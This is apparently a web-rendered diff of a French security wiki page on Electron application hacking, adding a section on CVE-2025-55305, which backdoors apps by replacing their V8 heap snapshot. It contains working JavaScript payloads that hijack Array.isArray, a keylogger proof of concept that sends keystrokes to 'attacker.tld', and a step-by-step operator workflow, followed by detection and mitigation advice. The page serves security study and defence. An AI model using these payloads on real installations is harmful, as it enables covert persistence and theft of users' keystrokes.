- [**Electronegativity**](https://github.com/doyensec/electronegativity) est un outil pour identifier les mauvaises configurations et les anti-patterns de sécurité dans les applications basées sur Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est un plugin open source pour VS Code pour les applications Electron qui utilise Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables.
|
||||
- [**Electro.ng**](https://electro.ng/): Vous devez l'acheter.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables
|
||||
- [**Electro.ng**](https://electro.ng/): You need to buy it
|
||||
|
||||
## Labs
|
||||
|
||||
Dans [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s), vous pouvez trouver un laboratoire pour exploiter des applications Electron vulnérables.
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) vous pouvez trouver un lab pour exploiter des applications Electron vulnérables.
|
||||
|
||||
Certaines commandes qui vous aideront avec le laboratoire :
|
||||
Quelques commandes qui vous aideront avec le lab:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -427,14 +435,127 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Les applications basées sur Electron et Chromium désérialisent un V8 heap snapshot préconstruit au démarrage (v8_context_snapshot.bin, et optionnellement browser_v8_context_snapshot.bin) pour initialiser chaque V8 isolate (main, preload, renderer). Historiquement, les integrity fuses d'Electron ne traitaient pas ces snapshots comme du contenu exécutable, ils échappaient donc à la fois à l'application des fuses d'intégrité et aux contrôles de signature de code du système d'exploitation. En conséquence, remplacer le snapshot dans une installation inscriptible par l'utilisateur permettait une exécution de code persistante et furtive à l'intérieur de l'app sans modifier les binaires signés ni l'ASAR.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar valident le JavaScript de l'app à l'intérieur de l'ASAR, mais ils ne couvraient pas les V8 heap snapshots (CVE-2025-55305). Chromium de la même manière ne vérifie pas l'intégrité des snapshots.
|
||||
- Attack preconditions: écriture locale de fichiers dans le répertoire d'installation de l'app. Cela est courant sur des systèmes où les apps Electron ou les navigateurs Chromium sont installés sous des chemins inscriptibles par l'utilisateur (par ex. %AppData%\Local sur Windows ; /Applications avec des caveats sur macOS).
|
||||
- Effect: exécution fiable du JavaScript de l'attaquant dans n'importe quel isolate en écrasant un builtin fréquemment utilisé (un “gadget”), permettant la persistance et l'évasion de la vérification de signature de code.
|
||||
- Affected surface: les apps Electron (même avec les fuses activés) et les navigateurs basés sur Chromium qui chargent des snapshots depuis des emplacements inscriptibles par l'utilisateur.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Utilisez le mksnapshot précompilé d'electron (electron/mksnapshot) pour compiler un payload JS en un snapshot et écraser le v8_context_snapshot.bin de l'application.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
// Replace the application’s v8_context_snapshot.bin with the generated file
|
||||
|
||||
const orig = Array.isArray;
|
||||
|
||||
// Use Array.isArray as a ubiquitous gadget
|
||||
Array.isArray = function () {
|
||||
// Executed whenever the app calls Array.isArray
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Routage de payload en fonction de l'isolate (exécuter du code différent dans main vs. renderer)
|
||||
- Détection du processus principal : des globals spécifiques à Node comme process.pid, process.binding(), ou process.dlopen sont présents dans l'isolate du processus principal.
|
||||
- Détection Browser/renderer : des globals propres au Browser comme alert sont disponibles lorsqu'on s'exécute dans un contexte de document.
|
||||
|
||||
Exemple de gadget qui teste une fois les capacités Node du processus principal
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
Array.isArray = function() {
|
||||
// Defer until we land in main (has Node process)
|
||||
try {
|
||||
if (!process || !process.pid) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
// Run once
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
console.log('[payload] isArray hook started ...');
|
||||
|
||||
// Capability probing in main
|
||||
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
|
||||
process.exit(0);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
PoC de vol de données depuis Renderer/browser-context (par ex. Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
// Wait for a browser context
|
||||
try {
|
||||
if (!alert) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
setInterval(() => {
|
||||
window.onkeydown = (e) => {
|
||||
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
|
||||
}
|
||||
}, 1000);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Flux de travail de l'opérateur
|
||||
1) Écrire payload.js qui clobbers un builtin courant (e.g., Array.isArray) et éventuellement fait des branches par isolate.
|
||||
2) Build the snapshot without Chromium sources:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Overwrite the target application’s snapshot file(s):
|
||||
- v8_context_snapshot.bin (always used)
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) Launch the application; the gadget executes whenever the chosen builtin is used.
|
||||
|
||||
Remarques et considérations
|
||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
||||
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
|
||||
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
|
||||
|
||||
Détection et mesures d'atténuation
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
||||
|
||||
## **Références**
|
||||
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
|
||||
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
|
||||
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||||
- Plus de recherches et d'articles sur la sécurité d'Electron dans [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user